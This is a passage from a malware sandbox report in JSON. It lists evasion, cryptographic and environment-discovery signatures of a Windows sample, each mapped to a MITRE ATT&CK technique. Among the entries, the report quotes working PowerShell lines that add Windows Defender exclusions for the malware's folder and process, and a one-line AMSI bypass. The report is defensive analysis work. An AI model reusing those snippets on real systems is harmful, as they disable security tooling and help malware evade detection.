00000000-00003580.00000001.112940.16896000.00000002.mdmp\")\n Found reference to API \"RtlMoveMemory\" (Indicator: \"RtlMoveMemory\"; Source: \"00000000-00003580.00000001.112940.04B70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"$path = \"C:\\ProgramData\\NexusSoftware\\felix1\"; if (-not (Get-MpPreference).ExclusionPath -contains $path) { Add-MpPreference -ExclusionPath $path; }\" (Indicator: \"add-mppreference\"; Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, 00000000-00003580.00000001.112940.050C0000.00000004.mdmp\")\n Found reference string \"$process = \"C:\\ProgramData\\NexusSoftware\\felix1\\pythonw.exe\"; if (-not (Get-MpPreference).ExclusionProcess -contains $process) { Add-MpPreference -ExclusionProcess $process; }\" (Indicator: \"add-mppreference\"; Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, 00000000-00003580.00000001.112940.050C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load module (Dotnet string)","description":"Observed string: \"[System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);\" (Indicator: \"Reflection.Assembly]::Load\") in Source: AMSI\n Observed string: \"System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);\" (Indicator: \"Reflection.Assembly]::Load\") in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-252","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform AMSI Bypass","description":"Observed string: \"[System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: AMSI\n Observed string: \"System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-337","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"HTCTL32.DLL\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"HTCTL32.DLL\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$38","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 16575-389-0043D190\n Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 16575-389-0043D190","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003580.00000001.112940.04850000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003580.00000001.112940.050C0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\NUL; Source: \"00000000-00003580.00000001.112940.04FC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"pythonw.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"pythonw.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"powershell.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$39","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"PCAP contains base64 strings","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-504","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$3b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"pythonw.exe\" renamed original file\"C:\\ProgramData\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\__pycache__\\__init__.cpython-313.pyc.2362310367472\" to \"%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\pyarmor_runtime_000000\\__pycache__\\__init__.cpython-313.pyc\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"$3c","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 16575-827-0041B870","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".fptable\" is zero\n Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$3e","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$3f","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00003580.00000001.112940.04B70000.00000004.mdmp\")\n Found reference to API \"standard_b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00003580.00000001.112940.04B70000.00000004.mdmp\")\n Found reference to API \"urlsafe_b64decode\" (Indicator: \"b64decode\"; Source: \"00000000-00003580.00000001.112940.04B70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptGetProvParam\" (Indicator: \"CryptGetProvParam\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CertEnumCertificatesInStore\" (Indicator: \"CertEnumCertificatesInStore\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContextA\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$40","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: PCAP contains base64 strings\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$41","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$42","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003640-00000C2C-561382686\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003640-00000C2C-562313777\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"HTCTL32.DLL\")\n Found string \"ystem.Identity.QualifiedUserName\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"ystem.Identity.UserName\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"ystem.UserName\" (Source: \"00000000-00002512.00000001.111136.03420000.00000002.mdmp\")\n Found string \"System.Identity.UserName\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")\n Found string \"System.Identity.QualifiedUserName\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")\n Found string \"System.UserName\" (Source: \"00000000-00002512.00000001.111136.04E70000.00000002.mdmp\")\n Found string \"etUserNameExA\" (Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp\")\n Found string \"etUserNameA\" (Source: \"00000000-00003580.00000001.112940.02CA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003640-00000C2C-561382686\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003640-00000C2C-562313777\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"pcicapi.dll\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"HTCTL32.DLL\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003640-00000C2C-564138931\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003640-00000C2C-564139011\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus\" (File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found string \"EnumServicesStatusA\" (File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found string \"QueryServiceConfigA\" (File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"EnumSystemLocalesA\" (Indicator: \"EnumSystemLocales\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"ModuleAnalysisCache\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"_socket.pyd\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"pythonw.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003580)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003640)","origin":"API 